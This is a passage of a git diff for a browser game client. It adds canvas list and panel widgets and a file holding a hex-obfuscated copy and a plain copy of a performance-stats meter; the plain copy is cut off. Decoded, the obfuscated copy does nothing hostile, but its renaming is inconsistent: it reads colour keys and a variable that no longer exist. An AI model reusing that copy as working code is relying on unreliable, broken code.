function(ObjectID, x, y, z, hsize, wsize) { + this.startupGameObject(x, y, z); + this.h = hsize; + if (wsize) + this.w = wsize; + this.ObjectType = 5; + this.objid = ObjectID; + this.offx = 0; + this.offy = 0; + return this; + } + ; + this.setoff = function(offx1, offy1) { + this.offx = offx1; + this.offy = offy1; + } + ; + this.charge = function(x1, y1, w1, h1, offx1, offy1) { + if (x1 == undefined) { + this.charge(this.x, this.y, this.w, this.h, 0, 0); + return; + } + ;var obj = gameabc_Object.ObjectList[this.objid].Property; + this.x = x1; + this.y = y1; + this.w = w1; + this.h = h1; + var Left = x1; + var Top = y1; + var Width = w1; + var Height = h1; + if (offx1 == undefined) {} else { + this.offx = offx1; + this.offy = offy1; + } + ;this.Thick = obj.Thick; + this.ChildEdg = obj.ChildEdg; + this.ChildWidth = obj.ChildWidth; + this.ChildHeight = obj.ChildHeight; + this.ChildThick = obj.ChildThick; + this.ChildOrdStyle = obj.ChildOrdStyle; + if (this.ChildOrdStyle == 0) { + this.cell_width = this.ChildWidth; + this.cell_height = this.ChildHeight; + } + if (this.ChildOrdStyle == 1) { + this.cell_width = Width + (-this.Thick - this.ChildEdg) * 2; + this.cell_height = this.ChildHeight; + } + if (this.ChildOrdStyle == 2) { + this.cell_width = this.ChildWidth; + this.cell_height = Height + (-this.Thick - this.ChildEdg) * 2; + } + ;this.red_w = Width - (this.Thick * 2) - (this.ChildEdg * 2); + this.red_h = Height - (this.Thick * 2) - (this.ChildEdg * 2); + this.red_num_w = this.Div(this.red_w, this.cell_width); + this.red_num_h = this.Div(this.red_h, this.cell_height); + this.ys_x = Left + this.Thick + this.ChildEdg; + this.ys_y = Top + this.Thick + this.ChildEdg; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + + var Left = this.x; + var Top = this.y; + var Width = this.w; + var Height = this.h; + context.fillStyle = "blue"; + context.fillRect(this.x, this.y, this.w, this.h); + context.fillStyle = "white"; + context.fillRect(Left + this.Thick, Top + this.Thick, Width - this.Thick * 2, Height - this.Thick * 2); + context.fillStyle = "red"; + for (var i = 0; i < this.red_num_w; i++) { + for (var j = 0; j < this.red_num_h; j++) { + this.x0 = i * this.cell_width + this.offx; + this.y0 = j * this.cell_height + this.offy; + context.fillRect(this.ys_x + this.x0, this.ys_y + this.y0, this.cell_width, this.cell_height); + } + } + ;context.fillStyle = "blue"; + for (var i = 0; i < this.red_num_w; i++) { + for (var j = 0; j < this.red_num_h; j++) { + this.x0 = i * this.cell_width + this.offx; + this.y0 = j * this.cell_height + this.offy; + context.fillRect(this.ys_x + this.ChildThick + this.x0, this.ys_y + this.ChildThick + this.y0, this.cell_width - (this.ChildThick * 2), this.cell_height - (this.ChildThick * 2)); + } + } + ;var num = 0; + for (var i = 0; i < this.red_num_h; i++) { + for (var j = 0; j < this.red_num_w; j++) { + num++; + } + } + ;context.stroke(); + } +} +;gameabc_list.prototype = new VisualGameObject; +gameabc_list.prototype.Div = function(exp1, exp2) { + var n1 = Math.round(exp1); + var n2 = Math.round(exp2); + var rslt = n1 / n2; + if (rslt >= 0) { + rslt = Math.floor(rslt); + } else { + rslt = Math.ceil(rslt); + } + ;return rslt; +} +; +function getlength(str) { + var realLength = 0; + len = str.length; + charCode = -1; + for (var i = 0; i < len; i++) { + charCode = str.charCodeAt(i); + if (charCode > 0 && charCode <= 128) + realLength += 1; + else + realLength += 2; + } + ;return realLength; +} +;var gameabc_password = "************************************"; +var gameabc_drawtext = ""; +function gameabc_panle() { + this.gameabc_open = function(ObjectID, x, y, z, wsize, hsize) { + this.startupGameObject(x, y, z); + this.h = hsize; + if (wsize) + this.w = wsize; + this.ObjectType = 6; + this.objid = ObjectID; + this.offx = 0; + this.offy = 0; + return this; + } + ; + this.gameabc_close = function() { + this.shutdownGameObject(); + } + ; + this.draw = function(dt, context, xScroll, yScroll) { + return; + context.lineWidth = 1; + context.strokeStyle = ifast_jb; + context.strokeRect(this.x, this.y, this.w, this.h); + } + ; +} +;gameabc_panle.prototype = new VisualGameObject; + + + + + + + + + + + + diff --git a/games/games/Projects/clinet/gamehall/js/gameabc.min2.js b/games/games/Projects/clinet/gamehall/js/gameabc.min2.js new file mode 100644 index 0000000..5e9c29a --- /dev/null +++ b/games/games/Projects/clinet/gamehall/js/gameabc.min2.js @@ -0,0 +1,5659 @@ +var gameabc_senderror = 0; + +var gameabc = function() { + function s(SIt2, L$qig3, Qf4) { + var PzF5, IKcga6, d7; + for (IKcga6 = 0; IKcga6 < 30; IKcga6++) + for (PzF5 = 0; PzF5 < 73; PzF5++) + d7 = (PzF5 + IKcga6 * 74) * 4, + SIt2[d7] = SIt2[d7 + 4], + SIt2[d7 + 1] = SIt2[d7 + 5], + SIt2[d7 + 2] = SIt2[d7 + 6]; + for (IKcga6 = 0; IKcga6 < 30; IKcga6++) + d7 = (73 + IKcga6 * 74) * 4, + IKcga6 < L$qig3 ? (SIt2[d7] = b[Qf4]["\x62\x67"]["\x72"], + SIt2[d7 + 1] = b[Qf4]["\x62\x67"]["\x67"], + SIt2[d7 + 2] = b[Qf4]["\x62\x67"]["\x62"]) : (SIt2[d7] = b[Qf4]["\x66\x67"]["\x72"], + SIt2[d7 + 1] = b[Qf4]["\x66\x67"]["\x67"], + SIt2[d7 + 2] = b[Qf4]["\x66\x67"]["\x62"]) + } + var s8 = 0, QTsilt9 = 2, grEpoZ10, hZ11 = 0, _kO12 = (new window["\x44\x61\x74\x65"])["\x67\x65\x74\x54\x69\x6d\x65"](), D13 = _kO12, hPuk14 = _kO12, nogIEsi15 = 0, aGfBpM_16 = 1E3, pIipoKbeZ17 = 0, ESmULEmZ18, MC$T19, CwNEUSu20, _21, eg$MBfn22, blcZCzThy23 = 0, T24 = 1E3, $zRe25 = 0, kvje26, K27, $28, BZEK29, alOujP30 = 0, yj31 = 1E3, DiXUY32 = 0, uMlB33, dcngJtbw34, wMVlPSdU35, LkrwEFr36, qppYSsGe37 = { + fps: { + bg: { + s8: 16, + grEpoZ10: 16, + qppYSsGe37: 48 + }, + fg: { + s8: 0, + grEpoZ10: 255, + qppYSsGe37: 255 + } + }, + ms: { + bg: { + s8: 16, + grEpoZ10: 48, + qppYSsGe37: 16 + }, + fg: { + s8: 0, + grEpoZ10: 255, + qppYSsGe37: 0 + } + }, + mb: { + bg: { + s8: 48, + grEpoZ10: 16, + qppYSsGe37: 26 + }, + fg: { + s8: 255, + grEpoZ10: 0, + qppYSsGe37: 128 + } + } + }; + grEpoZ10 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x64\x69\x76"); + grEpoZ10["\x63\x6c\x61\x73\x73\x4e\x61\x6d\x65"] = "\x73\x74\x61\x74\x73"; + grEpoZ10["\x73\x74\x79\x6c\x65"]["\x63\x75\x72\x73\x6f\x72"] = "\x70\x6f\x69\x6e\x74\x65\x72"; + grEpoZ10["\x73\x74\x79\x6c\x65"]["\x77\x69\x64\x74\x68"] = "\x38\x30\x70\x78"; + grEpoZ10["\x73\x74\x79\x6c\x65"]["\x6f\x70\x61\x63\x69\x74\x79"] = "\x30\x2e\x39"; + grEpoZ10["\x73\x74\x79\x6c\x65"]["\x7a\x49\x6e\x64\x65\x78"] = "\x31\x30\x30\x30\x31"; + grEpoZ10["\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"]("\x63\x6c\x69\x63\x6b", function() { + s8++; + s8 == QTsilt9 && (s8 = 0); + ESmULEmZ18["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x6e\x6f\x6e\x65"; + kvje26["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x6e\x6f\x6e\x65"; + uMlB33["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x6e\x6f\x6e\x65"; + switch (s8) { + case 0: + ESmULEmZ18["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x62\x6c\x6f\x63\x6b"; + break; + case 1: + kvje26["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x62\x6c\x6f\x63\x6b"; + break; + case 2: + uMlB33["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x62\x6c\x6f\x63\x6b" + } + }, !1); + ESmULEmZ18 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x64\x69\x76"); + ESmULEmZ18["\x73\x74\x79\x6c\x65"]["\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72"] = "\x72\x67\x62\x28" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x66\x70\x73"]["\x62\x67"]["\x72"] / 2) + "\x2c" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x66\x70\x73"]["\x62\x67"]["\x67"] / 2) + "\x2c" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x66\x70\x73"]["\x62\x67"]["\x62"] / 2) + "\x29"; + ESmULEmZ18["\x73\x74\x79\x6c\x65"]["\x70\x61\x64\x64\x69\x6e\x67"] = "\x32\x70\x78 \x30\x70\x78 \x33\x70\x78 \x30\x70\x78"; + grEpoZ10["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](ESmULEmZ18); + MC$T19 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x64\x69\x76"); + MC$T19["\x73\x74\x79\x6c\x65"]["\x66\x6f\x6e\x74\x46\x61\x6d\x69\x6c\x79"] = "\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2c \x41\x72\x69\x61\x6c\x2c \x73\x61\x6e\x73\x2d\x73\x65\x72\x69\x66"; + MC$T19["\x73\x74\x79\x6c\x65"]["\x74\x65\x78\x74\x41\x6c\x69\x67\x6e"] = "\x6c\x65\x66\x74"; + MC$T19["\x73\x74\x79\x6c\x65"]["\x66\x6f\x6e\x74\x53\x69\x7a\x65"] = "\x39\x70\x78"; + MC$T19["\x73\x74\x79\x6c\x65"]["\x63\x6f\x6c\x6f\x72"] = "\x72\x67\x62\x28" + qppYSsGe37["\x66\x70\x73"]["\x66\x67"]["\x72"] + "\x2c" + qppYSsGe37["\x66\x70\x73"]["\x66\x67"]["\x67"] + "\x2c" + qppYSsGe37["\x66\x70\x73"]["\x66\x67"]["\x62"] + "\x29"; + MC$T19["\x73\x74\x79\x6c\x65"]["\x6d\x61\x72\x67\x69\x6e"] = "\x30\x70\x78 \x30\x70\x78 \x31\x70\x78 \x33\x70\x78"; + MC$T19["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c"] = '\x3c\x73\x70\x61\x6e \x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x22\x3e\x46\x50\x53\x3c\x2f\x73\x70\x61\x6e\x3e'; + ESmULEmZ18["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](MC$T19); + CwNEUSu20 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x63\x61\x6e\x76\x61\x73"); + CwNEUSu20["\x77\x69\x64\x74\x68"] = 74; + CwNEUSu20["\x68\x65\x69\x67\x68\x74"] = 30; + CwNEUSu20["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x62\x6c\x6f\x63\x6b"; + CwNEUSu20["\x73\x74\x79\x6c\x65"]["\x6d\x61\x72\x67\x69\x6e\x4c\x65\x66\x74"] = "\x33\x70\x78"; + ESmULEmZ18["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](CwNEUSu20); + _21 = CwNEUSu20["\x67\x65\x74\x43\x6f\x6e\x74\x65\x78\x74"]("\x32\x64"); + _21["\x66\x69\x6c\x6c\x53\x74\x79\x6c\x65"] = "\x72\x67\x62\x28" + qppYSsGe37["\x66\x70\x73"]["\x62\x67"]["\x72"] + "\x2c" + qppYSsGe37["\x66\x70\x73"]["\x62\x67"]["\x67"] + "\x2c" + qppYSsGe37["\x66\x70\x73"]["\x62\x67"]["\x62"] + "\x29"; + _21["\x66\x69\x6c\x6c\x52\x65\x63\x74"](0, 0, CwNEUSu20["\x77\x69\x64\x74\x68"], CwNEUSu20["\x68\x65\x69\x67\x68\x74"]); + eg$MBfn22 = _21["\x67\x65\x74\x49\x6d\x61\x67\x65\x44\x61\x74\x61"](0, 0, CwNEUSu20["\x77\x69\x64\x74\x68"], CwNEUSu20["\x68\x65\x69\x67\x68\x74"]); + kvje26 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x64\x69\x76"); + kvje26["\x73\x74\x79\x6c\x65"]["\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72"] = "\x72\x67\x62\x28" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x6d\x73"]["\x62\x67"]["\x72"] / 2) + "\x2c" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x6d\x73"]["\x62\x67"]["\x67"] / 2) + "\x2c" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x6d\x73"]["\x62\x67"]["\x62"] / 2) + "\x29"; + kvje26["\x73\x74\x79\x6c\x65"]["\x70\x61\x64\x64\x69\x6e\x67"] = "\x32\x70\x78 \x30\x70\x78 \x33\x70\x78 \x30\x70\x78"; + kvje26["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x6e\x6f\x6e\x65"; + grEpoZ10["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](kvje26); + K27 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x64\x69\x76"); + K27["\x73\x74\x79\x6c\x65"]["\x66\x6f\x6e\x74\x46\x61\x6d\x69\x6c\x79"] = "\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2c \x41\x72\x69\x61\x6c\x2c \x73\x61\x6e\x73\x2d\x73\x65\x72\x69\x66"; + K27["\x73\x74\x79\x6c\x65"]["\x74\x65\x78\x74\x41\x6c\x69\x67\x6e"] = "\x6c\x65\x66\x74"; + K27["\x73\x74\x79\x6c\x65"]["\x66\x6f\x6e\x74\x53\x69\x7a\x65"] = "\x39\x70\x78"; + K27["\x73\x74\x79\x6c\x65"]["\x63\x6f\x6c\x6f\x72"] = "\x72\x67\x62\x28" + qppYSsGe37["\x6d\x73"]["\x66\x67"]["\x72"] + "\x2c" + qppYSsGe37["\x6d\x73"]["\x66\x67"]["\x67"] + "\x2c" + qppYSsGe37["\x6d\x73"]["\x66\x67"]["\x62"] + "\x29"; + K27["\x73\x74\x79\x6c\x65"]["\x6d\x61\x72\x67\x69\x6e"] = "\x30\x70\x78 \x30\x70\x78 \x31\x70\x78 \x33\x70\x78"; + K27["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c"] = '\x3c\x73\x70\x61\x6e \x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x22\x3e\x4d\x53\x3c\x2f\x73\x70\x61\x6e\x3e'; + kvje26["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](K27); + CwNEUSu20 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x63\x61\x6e\x76\x61\x73"); + CwNEUSu20["\x77\x69\x64\x74\x68"] = 74; + CwNEUSu20["\x68\x65\x69\x67\x68\x74"] = 30; + CwNEUSu20["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x62\x6c\x6f\x63\x6b"; + CwNEUSu20["\x73\x74\x79\x6c\x65"]["\x6d\x61\x72\x67\x69\x6e\x4c\x65\x66\x74"] = "\x33\x70\x78"; + kvje26["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](CwNEUSu20); + $28 = CwNEUSu20["\x67\x65\x74\x43\x6f\x6e\x74\x65\x78\x74"]("\x32\x64"); + $28["\x66\x69\x6c\x6c\x53\x74\x79\x6c\x65"] = "\x72\x67\x62\x28" + qppYSsGe37["\x6d\x73"]["\x62\x67"]["\x72"] + "\x2c" + qppYSsGe37["\x6d\x73"]["\x62\x67"]["\x67"] + "\x2c" + qppYSsGe37["\x6d\x73"]["\x62\x67"]["\x62"] + "\x29"; + $28["\x66\x69\x6c\x6c\x52\x65\x63\x74"](0, 0, CwNEUSu20["\x77\x69\x64\x74\x68"], CwNEUSu20["\x68\x65\x69\x67\x68\x74"]); + BZEK29 = $28["\x67\x65\x74\x49\x6d\x61\x67\x65\x44\x61\x74\x61"](0, 0, CwNEUSu20["\x77\x69\x64\x74\x68"], CwNEUSu20["\x68\x65\x69\x67\x68\x74"]); + try { + performance && performance["\x6d\x65\x6d\x6f\x72\x79"] && performance["\x6d\x65\x6d\x6f\x72\x79"]["\x74\x6f\x74\x61\x6c\x4a\x53\x48\x65\x61\x70\x53\x69\x7a\x65"] && (QTsilt9 = 3) + } catch (G) {} + uMlB33 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x64\x69\x76"); + uMlB33["\x73\x74\x79\x6c\x65"]["\x62\x61\x63\x6b\x67\x72\x6f\x75\x6e\x64\x43\x6f\x6c\x6f\x72"] = "\x72\x67\x62\x28" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x6d\x62"]["\x62\x67"]["\x72"] / 2) + "\x2c" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x6d\x62"]["\x62\x67"]["\x67"] / 2) + "\x2c" + window["\x4d\x61\x74\x68"]["\x66\x6c\x6f\x6f\x72"](qppYSsGe37["\x6d\x62"]["\x62\x67"]["\x62"] / 2) + "\x29"; + uMlB33["\x73\x74\x79\x6c\x65"]["\x70\x61\x64\x64\x69\x6e\x67"] = "\x32\x70\x78 \x30\x70\x78 \x33\x70\x78 \x30\x70\x78"; + uMlB33["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x6e\x6f\x6e\x65"; + grEpoZ10["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](uMlB33); + dcngJtbw34 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x64\x69\x76"); + dcngJtbw34["\x73\x74\x79\x6c\x65"]["\x66\x6f\x6e\x74\x46\x61\x6d\x69\x6c\x79"] = "\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2c \x41\x72\x69\x61\x6c\x2c \x73\x61\x6e\x73\x2d\x73\x65\x72\x69\x66"; + dcngJtbw34["\x73\x74\x79\x6c\x65"]["\x74\x65\x78\x74\x41\x6c\x69\x67\x6e"] = "\x6c\x65\x66\x74"; + dcngJtbw34["\x73\x74\x79\x6c\x65"]["\x66\x6f\x6e\x74\x53\x69\x7a\x65"] = "\x39\x70\x78"; + dcngJtbw34["\x73\x74\x79\x6c\x65"]["\x63\x6f\x6c\x6f\x72"] = "\x72\x67\x62\x28" + qppYSsGe37["\x6d\x62"]["\x66\x67"]["\x72"] + "\x2c" + qppYSsGe37["\x6d\x62"]["\x66\x67"]["\x67"] + "\x2c" + qppYSsGe37["\x6d\x62"]["\x66\x67"]["\x62"] + "\x29"; + dcngJtbw34["\x73\x74\x79\x6c\x65"]["\x6d\x61\x72\x67\x69\x6e"] = "\x30\x70\x78 \x30\x70\x78 \x31\x70\x78 \x33\x70\x78"; + dcngJtbw34["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c"] = '\x3c\x73\x70\x61\x6e \x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x22\x3e\x4d\x42\x3c\x2f\x73\x70\x61\x6e\x3e'; + uMlB33["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](dcngJtbw34); + CwNEUSu20 = window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74"]("\x63\x61\x6e\x76\x61\x73"); + CwNEUSu20["\x77\x69\x64\x74\x68"] = 74; + CwNEUSu20["\x68\x65\x69\x67\x68\x74"] = 30; + CwNEUSu20["\x73\x74\x79\x6c\x65"]["\x64\x69\x73\x70\x6c\x61\x79"] = "\x62\x6c\x6f\x63\x6b"; + CwNEUSu20["\x73\x74\x79\x6c\x65"]["\x6d\x61\x72\x67\x69\x6e\x4c\x65\x66\x74"] = "\x33\x70\x78"; + uMlB33["\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64"](CwNEUSu20); + wMVlPSdU35 = CwNEUSu20["\x67\x65\x74\x43\x6f\x6e\x74\x65\x78\x74"]("\x32\x64"); + wMVlPSdU35["\x66\x69\x6c\x6c\x53\x74\x79\x6c\x65"] = "\x23\x33\x30\x31\x30\x31\x30"; + wMVlPSdU35["\x66\x69\x6c\x6c\x52\x65\x63\x74"](0, 0, CwNEUSu20["\x77\x69\x64\x74\x68"], CwNEUSu20["\x68\x65\x69\x67\x68\x74"]); + LkrwEFr36 = wMVlPSdU35["\x67\x65\x74\x49\x6d\x61\x67\x65\x44\x61\x74\x61"](0, 0, CwNEUSu20["\x77\x69\x64\x74\x68"], CwNEUSu20["\x68\x65\x69\x67\x68\x74"]); + return { + domElement: grEpoZ10, + update: function() { + hZ11++; + _kO12 = (new window["\x44\x61\x74\x65"])["\x67\x65\x74\x54\x69\x6d\x65"](); + blcZCzThy23 = _kO12 - D13; + T24 = window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](T24, blcZCzThy23); + $zRe25 = window["\x4d\x61\x74\x68"]["\x6d\x61\x78"]($zRe25, blcZCzThy23); + s(BZEK29["\x64\x61\x74\x61"], window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](30, 30 - blcZCzThy23 / 200 * 30), "\x6d\x73"); + K27["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c"] = '\x3c\x73\x70\x61\x6e \x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x22\x3e' + blcZCzThy23 + " \x4d\x53\x3c\x2f\x73\x70\x61\x6e\x3e \x28" + T24 + "\x2d" + $zRe25 + "\x29"; + $28["\x70\x75\x74\x49\x6d\x61\x67\x65\x44\x61\x74\x61"](BZEK29, 0, 0); + D13 = _kO12; + if (_kO12 > hPuk14 + 1E3) { + nogIEsi15 = window["\x4d\x61\x74\x68"]["\x72\x6f\x75\x6e\x64"](hZ11 * 1E3 / (_kO12 - hPuk14)); + aGfBpM_16 = window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](aGfBpM_16, nogIEsi15); + pIipoKbeZ17 = window["\x4d\x61\x74\x68"]["\x6d\x61\x78"](pIipoKbeZ17, nogIEsi15); + s(eg$MBfn22["\x64\x61\x74\x61"], window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](30, 30 - nogIEsi15 / 100 * 30), "\x66\x70\x73"); + MC$T19["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c"] = '\x3c\x73\x70\x61\x6e \x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x22\x3e' + nogIEsi15 + " \x46\x50\x53\x3c\x2f\x73\x70\x61\x6e\x3e \x28" + aGfBpM_16 + "\x2d" + pIipoKbeZ17 + "\x29"; + _21["\x70\x75\x74\x49\x6d\x61\x67\x65\x44\x61\x74\x61"](eg$MBfn22, 0, 0); + if (QTsilt9 == 3) + alOujP30 = performance["\x6d\x65\x6d\x6f\x72\x79"]["\x75\x73\x65\x64\x4a\x53\x48\x65\x61\x70\x53\x69\x7a\x65"] * 9.54E-7, + yj31 = window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](yj31, alOujP30), + DiXUY32 = window["\x4d\x61\x74\x68"]["\x6d\x61\x78"](DiXUY32, alOujP30), + s(LkrwEFr36["\x64\x61\x74\x61"], window["\x4d\x61\x74\x68"]["\x6d\x69\x6e"](30, 30 - alOujP30 / 2), "\x6d\x62"), + dcngJtbw34["\x69\x6e\x6e\x65\x72\x48\x54\x4d\x4c"] = '\x3c\x73\x70\x61\x6e \x73\x74\x79\x6c\x65\x3d\x22\x66\x6f\x6e\x74\x2d\x77\x65\x69\x67\x68\x74\x3a\x62\x6f\x6c\x64\x22\x3e' + window["\x4d\x61\x74\x68"]["\x72\x6f\x75\x6e\x64"](alOujP30) + " \x4d\x42\x3c\x2f\x73\x70\x61\x6e\x3e \x28" + window["\x4d\x61\x74\x68"]["\x72\x6f\x75\x6e\x64"](yj31) + "\x2d" + window["\x4d\x61\x74\x68"]["\x72\x6f\x75\x6e\x64"](DiXUY32) + "\x29", + wMVlPSdU35["\x70\x75\x74\x49\x6d\x61\x67\x65\x44\x61\x74\x61"](LkrwEFr36, 0, 0); + hPuk14 = _kO12; + hZ11 = 0 + } + } + } +}; +var game123 = function() { + function s(a, g, d) { + var f, c, e; + for (c = 0; c < 30; c++) + for (f = 0; f < 73; f++) + e = (f + c * 74) * 4, + a[e] = a[e + 4], + a[e + 1] = a[e + 5], + a[e + 2] = a[e + 6]; + for (c = 0; c < 30; c++) + e = (73 + c * 74) * 4, + c < g ? (a[e] = b[d].bg.r, + a[e + 1] = b[d].bg.g, + a[e + 2] = b[d].bg.b) : (a[e] = b[d].fg.r, + a[e + 1] = b[d].fg.g, + a[e + 2] = b[d].fg.b) + } + var r = 0, t = 2, g, u = 0, j = (new Date).getTime(), F = j, v = j, l = 0, w = 1E3, x = 0, k, d, a, m, y, n = 0, z = 1E3, A = 0, f, c, o, B, p = 0, C = 1E3, D = 0, h, i, q, E, b = { + fps: { + bg: { + r: 16, + g: 16, + b: 48 + }, + fg: { + r: 0, + g: 255, + b: 255 + } + }, + ms: { + bg: { + r: 16, + g: 48, + b: 16 + }, + fg: { + r: 0, + g: 255, + b: 0 + } + }, + mb: { + bg: { + r: 48, + g: 16, + b: 26 + }, + fg: { + r: 255, + g: 0, + b: 128 + } + } + }; + g = document.createElement("div"); + g.className = "stats"; + g.style.cursor = "pointer"; + g.style.width = "80px"; + g.style.opacity = "0.9"; + g.style.zIndex = "10001"; + g.addEventListener("click", function() { + r++; + r == t && (r = 0); + k.style.display = "none"; + f.style.display = "none"; + h.style.display = "none"; + switch (r) { + case 0: + k.style.display = "block"; + break; + case 1: + f.style.display = "block"; + break; + case 2: + h.style.display = "block" + } + }, !1); + k = document.createElement("div"); + k.style.backgroundColor = "rgb(" + Math.floor(b.fps.bg.r / 2) + "," + Math.floor(b.fps.bg.g / 2) + "," + Math.floor(b.fps.bg.b / 2) + ")"; + k.style.padding = "2px 0px 3px 0px"; + g.appendChild(k); + d = document.createElement("div"); + d.style.fontFamily = "Helvetica, Arial, sans-serif"; + d.style.textAlign = "left"; + d.style.fontSize = "9px"; + d.style.color = "rgb(" + b.fps.fg.r + "," + b.fps.fg.g + "," + b.fps.fg.b + ")"; + d.style.margin = "0px 0px 1px 3px"; + d.innerHTML = 'FPS'; + k.appendChild(d); + a = document.createElement("canvas"); + a.width = 74; + a.height = 30; + a.style.display = "block"; + a.style.marginLeft = "3px"; + k.appendChild(a); + m = a.getContext("2d"); + m.fillStyle = "rgb(" + b.fps.bg.r + "," + b.fps.bg.g + "," + b.fps.bg.b + ")"; + m.fillRect(0, 0, a.width, a.height); + y = m.getImageData(0, 0, a.width, a.height); + f = document.createElement("div"); + f.style.backgroundColor = "rgb(" + Math.floor(b.ms.bg.r / 2) + "," + Math.floor(b.ms.bg.g / 2) + "," + Math.floor(b.ms.bg.b / 2) + ")"; + f.style.padding = "2px 0px 3px 0px"; + f.style.display = "none"; + g.appendChild(f); + c = document.createElement("div"); + c.style.fontFamily = "Helvetica, Arial, sans-serif"; + c.style.textAlign = "left"; + c.style.fontSize = "9px"; + c.style.color = "rgb(" + b.ms.fg.r + "," + b.ms.fg.g + "," + b.ms.fg.b + ")"; + c.style.margin = "0px 0px 1px 3px"; + c.innerHTML = 'MS'; + f.appendChild(c); + a = document.createElement("canvas"); + a.width = 74; + a.height = 30; + a.style.display = "block"; + a.style.marginLeft = "3px"; + f.appendChild(a); + o = a.getContext("2d"); + o.fillStyle = "rgb(" + b.ms.bg.r + "," + b.ms.bg.g + "," + b.ms.bg.b + ")"; + o.fillRect(0, 0, a.width, a.height); + B = o.getImageData(0, 0, 